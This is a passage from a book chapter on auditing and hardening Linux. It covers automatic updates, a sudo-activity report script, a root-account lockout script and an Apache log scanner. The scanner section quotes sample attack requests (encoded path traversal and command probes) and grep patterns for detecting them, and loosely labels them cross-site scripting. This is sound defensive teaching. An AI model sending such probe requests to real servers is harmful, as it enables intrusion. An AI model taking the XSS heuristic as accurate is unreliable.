Skip to content
ImagineWorld

Auditing and Hardening Linux with Shell Scripts

node_idnode-book_linux-shell-scripting-for-hackers_chapter-10-auditing-and-hardening-linux-with-shell-scripts
node_typechapter-node
schema_profileworld.chapter_node.v1
statusactive
entropyhigh
manifoldworld
domainimagineworld.net
authorityinforms
layercorpus
chapter_num10
chapter_titleAuditing and Hardening Linux with Shell Scripts
governed_byCORPUS
constitutional_citationCONSTITUTION
local graph

Chapter 10 — Auditing and Hardening Linux with Shell Scripts

Section titled “Chapter 10 — Auditing and Hardening Linux with Shell Scripts”

You might think that your Linux servers are secure, and that nobody could possibly hack into them. Well, you might be right, and you also might be wrong. As you’ve seen in the previous chapters, hacking into a Linux server isn’t always all that hard if it’s configured incorrectly or if there are security bugs in the software. As a conscientious Linux administrator, you’ll need to keep on top of your organization’s security posture to ensure that the bad people stay out.

In this chapter, we’ll look at ways to audit and harden your Linux systems to ensure that they remain as secure as possible. Along the way, we’ll look at a few shell scripts that can help you automate the process.

Topics in this chapter include:

  • Automating security updates
  • Auditing users’ sudo activity
  • Auditing for enabled root user accounts
  • Auditing Apache access logs for malicious attacks
  • Auditing and hardening with LinPEAS and Lynis
  • Shell scripts for firewall configuration

For this chapter, I’ll be showing you demos on a variety of virtual machines, which include:

  • Kali Linux
  • Metasploitable2
  • Ubuntu Server
  • AlmaLinux 10
  • openSUSE 16
  • FreeBSD 15

You can try the demos for all of these machines if you like, or you can just choose to use the ones that most interest you. At a minimum, though, you’ll need the Kali and Metasploitable2 machines.

As always, grab the shell scripts that you’ll be using by doing:

git clone https://github.com/PacktPublishing/Linux-Shell-Scripting-for-Hackers

Okay, let’s get started.

Software is like the people who design it, in that it isn’t perfect. So, it’s vitally important to keep your systems updated with the most current security patches, regardless of which operating system you’re running. Because of that, you might think that it’s a good idea to completely automate the update process, so that you don’t have to worry about it. Well, that’s not always true. A basic tenet of IT administration—regardless of which operating system you’re dealing with—is to thoroughly test operating system and software updates on a test network before installing them on the production machines. Every once in a while, a bug will slip through the developers’ quality assurance process and end up breaking something on your servers or workstations. That’s something that you always want to avoid, especially in mission-critical environments. But, there are also times when automating the update process is appropriate, and might also be necessary. (We’ll talk more about that at the end of this section.) We’ll start by looking at Ubuntu Server.

Automating security updates for Ubuntu Server

Section titled “Automating security updates for Ubuntu Server”

Ubuntu Server has a built-in mechanism for automating updates, which is called unattended-upgrades. This package is installed by default when you set up an Ubuntu server, and is configured to check for and install security updates every day. To see how that works, let’s look at the /etc/apt/apt.conf.d/20auto-upgrades file:

APT::Periodic::Update-Package-Lists "1";
APT::Periodic::Unattended-Upgrade "1";

The first line causes the system to perform an apt update command every day, and the second line causes apt to actually install the updates. If you don’t want to check for and install updates every day, you can edit this file to suit your needs. For example, if you only want the machine to do automatic updates every three days, just make the file look like this:

APT::Periodic::Update-Package-Lists "3";
APT::Periodic::Unattended-Upgrade "3";

Or, if you want to completely disable automatic updates, just set the number to 0, like this:

APT::Periodic::Update-Package-Lists "0";
APT::Periodic::Unattended-Upgrade "0";

Also within the /etc/apt/apt.conf.d/ directory, you’ll find the 50unattended-upgrades file. The most important part about this file is that it controls whether or not your system will automatically reboot after an update that requires a reboot. In this file, you’ll see three lines that control automatic reboots. The first line looks like this:

//Unattended-Upgrade::Automatic-Reboot "false";

The two preceding forward slashes mean that this line is commented out. To enable automatic reboots, uncomment either this line or one of the other lines that I’m about to show you by deleting the two preceding slashes, and edit it accordingly. This line, when uncommented and set to "true", will cause the machine to immediately reboot after an update that requires a reboot, unless someone is logged into the system. The next line looks like this:

//Unattended-Upgrade::Automatic-Reboot-WithUsers "true";

This line is already set to "true" by default. So, you can activate it simply by removing the forward slashes. Then, this line will cause the system to immediately reboot after an update that requires it, even if users are logged into the system. This prevents logged-in users from preventing a necessary reboot. The third line looks like this:

//Unattended-Upgrade::Automatic-Reboot-Time "02:00";

When uncommented, this allows you to set a specific time for the system to reboot.

Every day, the following actions will take place:

  • The apt-daily.timer will cause the apt-daily.service to run at the specified time.
  • This service will invoke the /usr/lib/apt/apt-helper and the /usr/lib/apt/apt.systemd.daily shell scripts to perform the apt update operation.
  • Then, apt-daily-upgrade.timer will cause apt-daily-upgrade.service to run, which will invoke the /usr/lib/apt/apt-helper and the /usr/lib/apt/apt.systemd.daily shell scripts to perform the system upgrade. (So, we finally get to talk about shell scripts, in keeping with the theme of this book. But, you didn’t have to create these shell scripts yourself.)

Important!

The official Ubuntu Server documentation recommends against using this automatic update mechanism for large fleets of servers. Instead, it recommends using fleet management software, such as Ubuntu Landscape. This allows administrators to have complete control over the update process and prevents the danger of servers rebooting themselves at random times, which could have catastrophic consequences.

Also, if you’re wondering about the two timers that I just mentioned, think of them as the systemd version of cron jobs. The difference is that systemd timers are more complex to set up, but they give you a lot more control over how you schedule your jobs.

Okay, that does it for Ubuntu Server. Let’s now look at automating updates on Red Hat systems.

Automating security updates on Red Hat-type systems

Section titled “Automating security updates on Red Hat-type systems”

Unlike on Ubuntu, the automatic update system isn’t installed on Red Hat-type operating systems by default. So, we’ll have to install it ourselves. To demo, we’ll use an AlmaLinux 10 virtual machine. Here’s the procedure:

  1. Install the dnf-automatic package, like so:
    donnie@localhost:~$ sudo dnf install dnf-automatic
  2. By default, all updates will get installed. To install only the security updates, open the /etc/dnf/automatic.conf file in your favorite text editor. Look for this line near the top of the file:
    upgrade_type = default
  3. Change it to:
    upgrade_type = security
  4. Next, you’ll need to enable automatic reboots. Look for this line:
    reboot = never
  5. Change it to this:
    reboot = when-needed
  6. Save the file and exit the text editor.
  7. Finally, enable and start the dnf-automatic-install.timer, like this:
    donnie@localhost:~$ sudo systemctl enable --now dnf-automatic-install.timer

And that’s all there is to it!

As I said before about the unattended-upgrades package for Ubuntu, this isn’t the best method for updating a large fleet of servers and workstations. If your organization has a Red Hat support contract, you can use the Red Hat Satellite system to manage updates. If your organization is running a Red Hat clone, such as AlmaLinux or Rocky Linux, you won’t be able to use Satellite, because it’s a proprietary product of Red Hat. But you can use another management system, such as Ansible or Puppet.

Next, let’s look at automating updates for openSUSE 16.

SUSE is the third of the Big Three enterprise-grade, Linux-based operating system families. For this demo, we’ll use openSUSE 16, which is the free-of-charge version of SUSE.

  1. First, install the os-update package, like so:
    donnie@opensuse16:~> sudo zypper in os-update
  2. Open the /usr/share/os-update/os-update.conf file in less and observe the default values. Here’s what the settings mean:
    • #UPDATE_CMD=auto: This is the type of update that you want to perform. The auto setting allows the os-update utility to choose the type of update to perform, based on which flavor of SUSE or openSUSE you’re running. Besides auto, you have three other choices. The dup setting will cause os-update to perform an entire operating system update. The up setting will only cause the software packages to be updated. Finally, the security setting will cause only security updates to be installed. The fact that the lines in this file are commented out doesn’t mean that they’re being ignored. It means that these lines contain the default settings, which are active until you override them by creating your own configuration file in the /etc/ directory. (I’ll explain about that in just a bit.)
      • #REBOOT_CMD=auto: This setting specifies how the system will be rebooted if a reboot is needed. The default auto setting means that the system will use the Reboot Manager (rebootmgr) if it’s installed, and use the systemctl reboot command if rebootmgr isn’t installed. Changing this to rebootmgr causes the system to always use rebootmgr, and changing it to reboot will cause it to always use systemctl reboot. Changing it to none will cause os-update to only print out an informative message to let you know that the system needs to be rebooted.
      • #RESTART_SERVICES=yes: This specifies whether to restart any services for which libraries have been updated.
      • #IGNORE_SERVICES_FROM_RESTART="dbus dbus-broker virtlockd": This is a list of services that should not be restarted after an update.
      • #SERVICES_TRIGGERING_REBOOT="": This is a list of services that will trigger a full system reboot. The default setting is to not have anything trigger a full reboot.
      • #SERVICES_TRIGGERING_SOFT_REBOOT="dbus dbus-broker": This is a list of services that will trigger a soft reboot, which is a new feature of systemd version 255 and newer. It means that instead of doing a full system reboot, it will only restart the userspace, while allowing the current Linux kernel to remain active. The advantage of soft reboots is that updates can be performed more quickly, with less system downtime. The disadvantage is that if the Linux kernel gets updated, the updates won’t take effect until a whole system reboot is performed.

Note that you’re not going to edit anything in this file. Instead, you’ll create a new copy with your desired settings in the /etc/ directory.

  1. Copy the os-update.conf file to the /etc/ directory:
    donnie@opensuse16:/usr/share/os-update> sudo cp os-update.conf /etc/
  2. Open the /etc/os-update.conf file in your favorite text editor, and make it look like this:
    # Default entries, create /etc/os-update.conf with only the
    # variables you want to override
    UPDATE_CMD=security
    SERVICES_TRIGGERING_REBOOT="dbus dbus-broker"
    SERVICES_TRIGGERING_SOFT_REBOOT=""
  3. In this case, we only want to have security updates installed, and we want to do a full system reboot whenever the os-updates service deems it necessary.
  4. The os-updates service is set up to run whenever it’s triggered by a systemd timer. By default, this timer is set up to run every day, and it isn’t enabled. Your final step is to enable this timer, like so:
    donnie@opensuse16:~> sudo systemctl enable --now os-update.timer

And that’s all there is to that.

This is all good. But when is it appropriate to enable automatic updating?

Automatic updating can definitely be handy. But, it’s not recommended for every scenario. As I’ve mentioned before, you really don’t want to set up automatic updating for large fleets of servers and workstations. Instead, you want to use a fleet management program that’s appropriate for your particular Linux distro. That could be Landscape for Ubuntu, Satellite for RHEL, and Ansible or Puppet for pretty much everything else. This way, you’ll get the chance to test your updates on a test network before installing them, and you’ll be present when the updates are installed in case something goes wrong. In short, using a fleet management program gives you complete control over how and when your servers get updated. So, when would it be appropriate to use automatic updating?

The best use case for automatic updating would be for Internet of Things (IoT) and embedded devices. These devices are generally installed in places where systems administrators can’t access or control them. These could be consumer devices such as smart doorbells, smart security cameras, or even smart refrigerators. Or, they could be devices that are embedded into control systems for industrial systems or automotive control systems. In any case, you’ll always want to ensure that the latest security updates always get installed on them. Several normal, mainstream Linux distros can be installed on these devices, and you can enable automatic updates for them. But, if you’re thinking about building a new IoT device, here’s another option that you might consider.

Ubuntu Core isn’t your normal Linux distro. It’s built specifically for embedded and IoT devices, and doesn’t use the normal package management and update system. Instead, it’s built entirely from Snap packages. Snap is a universal packaging system that was invented by Ubuntu developers, which you can install on both Ubuntu and non-Ubuntu-type Linux distros. What makes this system so good for IoT and embedded devices is that the snapd service constantly runs in the background and automatically downloads and installs updates whenever they become available. You don’t have to configure anything, because this is the default mode of operation.

Next, let’s look at some shell scripts that can help us audit our systems.

Sometimes, you might want to see what a particular user is doing with his or her sudo privileges. The user_activity_1.sh script will look through the system logs and will create a report of the user’s activity.

This script requires that the last utility be installed on the target machine. It’s always been installed by default on every Linux distro I’ve ever worked with, until now. I’ve just now found out that it isn’t installed by default on Ubuntu Server 25.10. So, if you try this on Ubuntu 25.10, you’ll need to install last by doing:

sudo apt install wtmpdb

Then, log out of the machine and log back in again to create the last log file. (Ubuntu Server 26.04, a Long Term Support release, is only available in a preview edition at the time I’m writing this in December 2025. It also doesn’t include last by default, so I assume that the final 26.04 release won’t include it either.)

Instead of showing you the entire file at once, I’ll break it into smaller chunks to make it easier to explain. Here’s the first chunk:

#!/bin/bash
if [[ $1 == "" ]] ; then
echo "You must specify a user name."
echo "Usage: sudo ./user_activity_1.sh username "
exit
fi

This if..then..fi stanza ensures that you enter the desired username when you invoke the script. Now, for the second chunk:

timestamp="$(date +"%F_%H-%M")"
username=$1

Here, we’re assigning the username that you entered when invoking the script to the username variable, and the current date and time to the timestamp variable. Here’s the third chunk:

if [[ -f /var/log/secure ]] ; then
logfile=/var/log/secure
elif [[ -f /var/log/auth.log ]] ; then
logfile=/var/log/auth.log
elif [[ -n $(awk /suse/ /etc/os-release) ]] ; then
logfile=/var/log/messages
elif [[ -n $(awk /openmandriva/ /etc/os-release) ]] ; then
logfile=/var/log/sudo.log
else
echo "I don't know this operating system."
exit
fi

Different Linux distros store security-related information in different log files. Red Hat-type systems, such as RHEL, AlmaLinux, and Rocky Linux, store this information in the /var/log/secure file. Debian and Ubuntu-type distros store it in the /var/log/auth.log file. OpenMandriva, which I’m running on the host workstation that I’m using to write this, uses the /var/log/sudo.log file that stores nothing but users’ sudo activity. Other distros, such as openSUSE, just use the main messages log file instead of a special security-type file. The preceding stanza checks for the presence of each of these files, and then assigns the appropriate file name to the logfile variable. Now, the fourth chunk:

echo "=== User Account Activity ===" > user_activity_for_"$username"_"$timestamp".txt

This creates an output file with the user’s name and the current date and time in the file name. Here’s the next chunk:

# Check user activity in system logs
echo "=== Recent Logins ===" >> user_activity_for_"$username"_"$timestamp".txt
last | grep $username >> user_activity_for_"$username"_"$timestamp".txt

The last command shows when users have logged into the system. In this case, we’re piping the last output into grep so that we’ll only see information that pertains to our specified user. This information gets appended to the output file. Now, here’s the final chunk:

# Check sudo command usage
echo "=== Sudo Command Usage ===" >> user_activity_for_"$username"_"$timestamp".txt
if [[ -n $(awk /openmandriva/ /etc/os-release) ]] ; then
grep "$username" "$logfile" >> user_activity_for_"$username"_"$timestamp".txt
else
grep sudo "$logfile" | grep "$username" >> user_activity_for_"$username"_"$timestamp".txt
fi

The goal here is to search through the specified log file for all instances of the specified user using sudo. For everything except for OpenMandriva, that means using grep to search for both the “sudo” text string and the name of the specified user. OpenMandriva is different, because its sudo.log file doesn’t contain the “sudo” text string. So, all we need to grep for in it is just the specified username. For the non-OpenMandriva distros, the output from the grep sudo operation gets piped into a second invocation of grep to search for all instances of the specified username.

Now that you’ve seen the script, let’s see if it works by seeing what that donnie character has been up to:

donnie@opensuse16:~> sudo ./user_activity_1.sh donnie
[sudo] password for donnie:
donnie@opensuse16:~>

It looks like it didn’t do anything, but it actually did. It created an output file, as you see here:

donnie@opensuse16:~> ls user_activity_*.txt
user_activity_for_donnie_2025-12-06_18-20.txt
donnie@opensuse16:~>

Finally, let’s see what’s in that file:

donnie@opensuse16:~> cat user_activity_for_donnie_2025-12-06_18-20.txt
=== User Account Activity ===
=== Recent Logins ===
donnie pts/0 192.168.0.201 Sat Dec 6 15:04 - still logged in
donnie tty1 Sat Dec 6 15:01 - still logged in
donnie tty1 Thu Dec 4 15:23 - 17:19 (01:55)
=== Sudo Command Usage ===
2025-12-06T15:02:36.192090-05:00 opensuse16 sudo: donnie : TTY=tty1 ; PWD=/home/donnie ; USER=root ; COMMAND=/usr/bin/systemctl enable --now sshd
2025-12-06T15:02:36.199515-05:00 opensuse16 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by donnie(uid=1000)
2025-12-06T15:02:55.179856-05:00 opensuse16 sudo: donnie : TTY=tty1 ; PWD=/home/donnie ; USER=root ; COMMAND=/usr/sbin/nft list ruleset
2025-12-06T15:02:55.182779-05:00 opensuse16 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by donnie(uid=1000)
2025-12-06T15:09:00.896230-05:00 opensuse16 sudo: donnie : TTY=pts/0 ; PWD=/home/donnie ; USER=root ; COMMAND=/usr/bin/zypper in openssl-3
2025-12-06T15:09:00.900149-05:00 opensuse16 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by donnie(uid=1000)
. . .
. . .
2025-12-06T18:20:03.514407-05:00 opensuse16 sudo: donnie : TTY=pts/0 ; PWD=/home/donnie ; USER=root ; COMMAND=./user_activity_1.sh donnie
2025-12-06T18:20:03.584696-05:00 opensuse16 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by donnie(uid=1000)
donnie@opensuse16:~>

Oh, yeah. It works like a champ.

So, how often should you run this script? Well, your best bet is to run it on a daily or near-daily basis. There are two reasons for this:

  • If you run it less often, you could miss an important security event that involves someone’s use of sudo.
  • Linux and Unix distros are set up to rotate their log files periodically. Most distros store the previous four weeks’ worth of log files in a compressed format. Any archived log files that are older than four weeks will get deleted.

That covers it for auditing the use of sudo. Let’s now look at root user accounts.

Back in the early part of this century, when I first started working with Linux, the installers for pretty much every Linux distro required you to create a password for the root user account, but wouldn’t let you create a normal user account. After the installation process completed, you then had to log into the root user account, create a normal user account for yourself, and then configure sudo privileges for that account. But, some people didn’t bother with that. Instead, they just always logged into the root user account, which is a big security risk. (I used to work with a guy who would always log into the root user account. It drove me crazy every time I saw it.)

Ubuntu was the first Linux distro with an installer that prevents enabling the root user account. Instead, the Ubuntu installer would—and still does—require you to create a normal user account that has full sudo privileges by default. Nowadays, the installers for most non-Ubuntu Linux distros still allow you to enable the root user account, but it’s now optional. Instead, you can just create the normal user account for yourself and mark it as an administrative account in order for it to have full sudo privileges.

On the other hand, the BSD distros, such as FreeBSD, still require you to enable the root user account during installation. Then, you have to log in as the root user, install the sudo package, create a user account for yourself, and then configure sudo privileges for yourself. OpenIndiana, a FOSS fork of Solaris, creates a normal user account with full sudo privileges during installation, but still enables the root user account.

Ideally, for best security, the root user account should never be enabled on your systems. If the root account is enabled, bad actors will know to attack it. But, if the root account isn’t enabled, bad actors will have to either figure out which user account has sudo privileges or find an exploitable vulnerability in order to escalate their privileges.

With all this in mind, let’s look at the rootlock_3.sh script that can detect whether the root user account is enabled and then disable it if you choose to do so. It’s fairly long, so let’s break it down.

At the top, we see this for the shebang line:

#!/bin/sh

I’m using sh instead of bash because I want this script to be portable. That is, I want it to run on every Linux distro, as well as on non-Linux distros such as FreeBSD and OpenIndiana. While bash is the default shell for OpenIndiana and all but a few Linux distros, it’s not even installed by default on the BSD distros. So, using sh instead of bash allows this script to run on everything. (Well, not quite everything. It won’t work on Macs because macOS uses a different mechanism for maintaining user accounts.) But there are a couple of quirks that you’ll want to know about.

You may have read in older documentation that using sh in the shebang line is the magic bullet that allows you to run the same script on any Linux or Unix operating system. But there’s more to it than that. To begin with, sh isn’t the same shell on every operating system. Here’s how it works:

  • On Red Hat-type distros, sh is a symbolic link that points to the bash executable. So on Red Hat-type systems, using sh in the shebang line means that you’re still using bash.
  • On Alpine Linux, sh points to the lightweight Almquist Shell (ash) that’s built into the busybox executable. A default installation of Alpine Linux doesn’t include bash.
  • On Debian and Ubuntu systems, sh points to the Debian Almquist Shell (dash), which is another lighter weight alternative to bash. Although bash is installed by default on these systems, dash can supposedly run your complex scripts a bit faster. (I’ve never tested that theory, so I don’t now how true it is.)
  • On OpenIndiana, sh points to the Korn Shell (ksh), which is somewhat compatible with bash. However, bash is also installed on OpenIndiana, and is the default login shell.
  • Finally, on the BSD distros, sh is the executable for the old-school Bourne Shell. A default installation of the BSD distros doesn’t include bash.

The second tricky part is that some programming constructs that work in bash don’t work in some of the alternative shells. For example, you can use variable arrays in bash and ksh, but you can’t use them in the other shells that I’ve listed here. The same is true of the double-square bracket construct ([[…]] ) that you use in your if..then clauses. Instead, you’ll have to use single-square bracket constructs ([…]). So, to make your scripts portable, you sometimes need to find workarounds for what you need to do. In the previous chapters, we haven’t been concerned with script portability, because all of the scripts that we’ve been creating have been meant to only run on your Kali Linux machine, which does include bash. This time, we want a script that runs on everything.

Okay, here’s the next part of the script:

os=$(uname)
quantity=$(cut -f3 -d: /etc/passwd | grep -w 0 | wc -l)

Here, we’re initializing the two variables that we’ll use throughout the script. The os variable gets its value from the output of the uname command, which looks like this on the various operating systems:

[donnie@openmandriva-x8664 ~]$ uname
Linux
[donnie@openmandriva-x8664 ~]$
donnie@freebsd15:~ $ uname
FreeBSD
donnie@freebsd15:~ $
donnie@openindiana:~$ uname
SunOS
donnie@openindiana:~$

The value that gets assigned to the os variable determines which actions the script will take on a particular machine.

The value of the quantity variable will be determined by how many User ID (UID) 0 entries there are in the /etc/passwd file. We’re using cut to isolate the value of the third field in the passwd file, which is the UID field. We’ll pipe the results of cut through grep to find all lines that have 0 in the third field, which means that the account has root user privileges. Finally, we’ll pipe that into wc -l, which counts the number of lines with UID 0. We need to do this because different operating systems have different numbers of UID 0 accounts in the passwd file. On OpenIndiana and all Linux distros, you never want to see more than one UID 0 account. If you ever do, it likely means that someone has performed a privilege escalation attack. On BSD-type systems, it’s normal to see either two or three UID 0 accounts, depending upon which BSD distro you’re looking at. (FreeBSD, which we’ll cover in this script, comes with two UID 0 accounts.)

FreeBSD systems have two UID 0 accounts, which are the root account and the toor account. Up through FreeBSD 13, the root account was set up to use the C Shell (csh) as its default login shell, and the toor account was set up to use the Bourne Shell (sh) as the default login shell. But, beginning with FreeBSD 14, the root user account now uses sh as the default shell. The toor account no longer has any shell assigned to it and is locked out by default. (In fact, the toor account appears to no longer have any useful function at all, which makes me wonder why it’s still there.)

On other BSD distros, such as NetBSD, you might see three UID 0 accounts. In addition to root and toor, there is also an installer account.

Next, we have a pair of functions. Here’s the first one:

linux_sunos() {
if [ $quantity -gt 1 ] ; then
echo "CRITICAL. There are $quantity accounts with UID 0."
else
echo "OKAY. There is only one account with UID 0."
fi
echo
echo
rootlock=$(awk 'BEGIN {FS=":"}; /root/ {print $2}' /etc/shadow | cut -c1)
if [ "$rootlock" = '$' ] ; then
echo "CRITICAL!! The root account is not locked out."
echo "Do you want to disable the root account? (y/n)"
read answer
if [ $answer = y ] ; then
passwd -d root
passwd -l root
else
exit
fi
else
echo "The root account is locked out, as it should be."
fi
}

Here’s the breakdown:

  • This linux_sunos function will run if the os variable is set to either Linux or SunOS. (I’ll show you the code that determines that in just a bit.)
  • At the top of the function, you see that it will echo an OKAY message if the quantity variable equals 1, and a CRITICAL message if the quantity variable equals more than 1.
  • Next, we use the awk utility to search for the root user account line in the /etc/shadow file, and to then isolate the second field of that line. We then pipe that into cut to isolate the value of the first character of that second field, which gets assigned to the rootlock variable. In Chapter 6*, Password Cracking Techniques*, I showed you that if the second field of an entry in the shadow file begins with a $ character, it means that a password has been assigned to that account and that the account is enabled. So here, we’re looking to see if the root account is enabled.
  • If the root account is enabled, then the script will echo a CRITICAL message, and ask if you want to disable it. If you choose y, then the function will first issue the passwd -d root command to delete the root user’s password, and then the passwd -l root command to disable the root user account.

Next, we have the freebsd function, which looks like this:

freebsd() {
if [ $quantity -gt 2 ]
then
echo "CRITICAL. There are $quantity accounts in the passwd file with UID 0."
else
echo "OKAY. There are only two accounts in the passwd file with UID 0."
echo
echo
fi
rootlock=$(awk 'BEGIN {FS=":"}; $1 ~ /root/ {print $2}' /etc/master.passwd | cut -c1)
if [ "$rootlock" = '$' ] ; then
echo "CRITICAL!! The root account is not locked out."
echo "Do you want to disable the root account? (y/n)"
read answer
if [ $answer = y ] ; then
pw mod user root -w no
fi
else
echo "The root account is locked out, as it should be."
fi
toorlock=$(awk 'BEGIN {FS=":"}; /toor/ {print $2}' /etc/master.passwd | cut -c1)
if [ "$toorlock" = '$' ] ; then
echo "CRITICAL!! The toor account is not locked out."
echo "Do you want to disable the toor account? (y/n)"
read answer
if [ $answer = y ] ; then
pw mod user toor -w no
fi
else
echo "The toor account is locked out, as it should be."
fi
}

The first difference with this function is that it echoes an OKAY message if two UID 0 accounts are found in the passwd file, and a CRITICAL message if more than two UID 0 accounts are found. It then looks in the /etc/master.passwd file, instead of in the /etc/shadow file, for the root user and toor user accounts, to see if the text string in the second field of those accounts begins with a $. If either of these accounts is enabled, then the pw mod user root -w no command or the pw mod user toor -w no command will both delete the password and disable the account.

The final part of the script looks like this:

if [ $os = Linux ] || [ $os = SunOS ] ; then
linux_sunos
elif [ $os = FreeBSD ] ; then
freebsd
else
echo "I don't know this operating system."
fi

This if..elif..else stanza determines which of the two functions will run, based on the value of the os variable. If the value of the os variable is something other than Linux, SunOS, or FreeBSD, then you’ll see a message about an unknown operating system.

To demo, let’s see if it works on my FreeBSD 15 virtual machine, which has the root user account enabled. First, here are the lines for the root and toor accounts in the master.passwd file:

root:$6$7dbDM6L7ioyU81A9$DhIjN/rN0EOhlrljChC/nn9pDKusbf6Ts/51auSaeIpkbGVvRwune3DUtd/OcBnINF.07g.EPY52JL/62tFsi/:0:0::0:0:Charlie &:/root:/bin/sh
toor:*:0:0::0:0:Bourne-again Superuser:/root:

We see that by default, the root user account is enabled and the toor user account is disabled. Now, let’s run our script to see what happens:

donnie@freebsd15:~ $ sudo ./rootlock_3.sh
OKAY. There are only two accounts in the passwd file with UID 0.
CRITICAL!! The root account is not locked out.
Do you want to disable the root account? (y/n)
y
The toor account is locked out, as it should be.
donnie@freebsd15:~ $

Now, let’s take another look at the master.passwd file:

root:*:0:0::0:0:Charlie &:/root:/bin/sh
toor:*:0:0::0:0:Bourne-again Superuser:/root:

The root account is now disabled, which is just what we want.

Now, let’s see what we get if we run this exact same script on the Ubuntu Server machine:

donnie@ubuntu2404-1:~$ sudo ./rootlock_3.sh
[sudo] password for donnie:
OKAY. There is only one account with UID 0.
The root account is locked out, as it should be.
donnie@ubuntu2404-1:~$

Cool. It shows that there’s only one UID 0 account, and that the root user account is disabled. Just for fun, let’s enable the root user account by assigning a password to it, and then run the script again:

donnie@ubuntu2404-1:~$ sudo passwd root
New password:
Retype new password:
passwd: password updated successfully
donnie@ubuntu2404-1:~$ sudo ./rootlock_3.sh
OKAY. There is only one account with UID 0.
CRITICAL!! The root account is not locked out.
Do you want to disable the root account? (y/n)
y
passwd: password changed.
passwd: password changed.
donnie@ubuntu2404-1:~$

Run the script once more, and you’ll see that the root account is once again disabled, as it should be.

Now, let’s audit our Apache access logs to see what we can find in them.

Auditing Apache access logs for malicious attacks

Section titled “Auditing Apache access logs for malicious attacks”

Many years ago, a buddy of mine, who was a security administrator for a local credit union, called me with an urgent plea for help. He said, “My boss just handed me a USB memory stick with four gigabytes of compressed Apache access log files, and told me to look through them for signs of cross-site scripting attacks. What can I do?” I told him to give me a few hours, and I’d get back to him. Then, I set up an Apache server on a CentOS Linux machine, performed some cross-site scripting attacks against it, and examined the Apache access logs. What I found was that whenever I did a cross-site scripting attack against it, a percent sign (%) pattern would show up in the logs. It would look something like the following:

GET /%00/ HTTP/1.1" 404 196
GET /.%252e/.%252e/.%252e/winnt/boot.ini HTTP/1.1
GET /a%5c.aspx HTTP/1.1
GET /a=%64%69%72&highlight HTTP/1.1

If you see a % sign in either the first, second, or third position after the first forward slash, you can assume that someone has attempted to do a cross-site scripting attack against you. Anyway, I created a shell script and sent it to my buddy. About an hour or so later, he called me again, saying, “Hey, this script is taking a long time to run. What should I do?” I told him to just let it run, because it would take a very long time to go through four gigabytes-worth of compressed files. If I remember correctly, he let it run overnight, and it completed by morning. There were no signs of any for-real, malicious attacks in the output file, but an authorized attack from a penetration testing company did show up. So, that proved to both my buddy and his boss that the script did work.

I was going to just present you with the original script, but then I said, “You know, why not make this more useful for auditing live webservers?” So, I now present you with the new, enhanced xss_detect.sh script, which will also detect Nikto attacks and nmap scripting attacks. As an added bonus, I’m making the script portable so that it will also work on non- bash shells and on FreeBSD, and I am also adding a bit of color. Because of that color, I’ll need to show you how to install an appropriate viewer for your output files.

The less utility doesn’t properly interpret color codes in text files. When you try to use less to view a file with color codes, you’ll get a warning about how you’re trying to open a binary file, even though it is just a text file. When you hit the y key to continue viewing anyway, you’ll see a jumbled-up mess where the colored text should be. To get around that problem, you’ll need to install the bat package, like so:

┌──(kali㉿kali)-[~]
└─$ sudo apt install bat

That part was easy. The tricky part is that on non-Debian-type Linux distros, you’ll use the bat command to view a file. On Debian-type distros, such as Kali, you’ll use the batcat command, because there’s another package that contains a bat executable. So, the command to view an output file with colored text on your Kali machine will look something like this:

┌──(kali㉿kali)-[~]
└─$ batcat xss_results.txt

With that out of the way, let’s construct our auditing script.

As usual when dealing with large scripts, let’s break this down into bite-sized chunks. Here’s the first chunk:

#!/bin/sh
inputpath="$1"
output_file="$2"
BLACK=$(tput setaf 0)
RED=$(tput setaf 1)
os="$(uname)"

I’m again using #!/bin/sh for the shebang line, so that it will work on bash, as well as non- bash shells such as dash, ash, ksh, and Bourne shell. (Of course, this also means that I need to avoid using any bash -specific constructs.) Then, you see the BLACK=$(tput setaf 0) and the RED=$(tput setaf 1) lines, which use the tput utility to define the variables for setting text to either red or black. Finally, I’m using the os variable to determine what operating system the machine is running, because FreeBSD uses a different name for its Apache access log, as you’ll see in a few moments.

In a few moments, you’ll see that the LinPEAS scripts that we’re about to cover use another method for creating colored text. Unfortunately, that method is more complex to use and makes it more difficult to make your scripts portable. Using tput instead greatly simplifies things.

Now, for the next chunk:

if [ "$#" -ne 2 ]; then
echo "You need to input the patch to the Apache access logs, followed by the"
echo "name of the results file that you want to create."
echo "Example:"
echo "./xss_detect.sh /var/log/apache2 xss_results.txt"
exit 1
fi
if [ -f "$output_file" ]; then
echo "This file already exists. Choose another filename."
exit;
fi

There’s nothing really special here. It’s just one if..then stanza to ensure that you enter both of the required parameters, and another if..then stanza to ensure that you don’t overwrite an existing output file.

Next, we have the code that does the actual work:

echo "${RED}Apparent Cross-site scripting attack${BLACK}" >> "$output_file"
find "$inputpath" -iname '*.gz' -exec zcat {} \; | grep 'GET /%' >> "$output_file"
find "$inputpath" -iname '*.gz' -exec zcat {} \; | grep 'GET /.%' >> "$output_file"
find "$inputpath" -iname '*.gz' -exec zcat {} \; | grep 'GET /.=%' >> "$output_file"

This section searches for cross-site scripting attacks. Here’s the breakdown of what’s happening here:

  • The ${RED} tag in the first echo line causes the output from the echo command to display in red text. After the red text displays, the ${BLACK} tag ensures that the following output displays as black text.
  • The next three lines use the find command to perform a case-insensitive search through the specified directory for all files with filenames that end with .gz. That’s because on a regularly-scheduled basis, the operating system’s logging service will create a new set of log files, and use the gzip utility to archive the previous ones as .gz files. You can expect to see several of these .gz files on any server that’s been running for any length of time.
  • We’ll then use the -exec zcat {} \; option for find to open each compressed file, one at a time, and then pipe the output into the grep command to look for the % patterns. This works by placing the filename of each file that find finds in place of the {} characters. Once one file has been processed, it will move on to the next file.
  • The grep commands each use a regular expression to find the % pattern. The 'GET /%' pattern in the first grep command means that we’re looking for a % pattern immediately after the first forward slash. In the second grep command, the 'GET /.%' means that we’re looking for any character to immediately follow the first forward slash, which in turn will be followed by the %. (In regular expressions, the dot acts as a wildcard character.) Finally, the 'GET /.=%' means that we’re looking for any character to immediately follow the forward slash, which will then be followed by an =% pattern.

I can’t go into the nitty-gritty details here about the find command or regular expressions. If you’d like to learn more about them, I have detailed write-ups in one of my other books, The Ultimate Linux Shell Scripting Guide (

Now, here’s the next chunk:

if [ "$os" = FreeBSD ]; then
grep 'GET /%' $inputpath/httpd-access.log >> "$output_file"
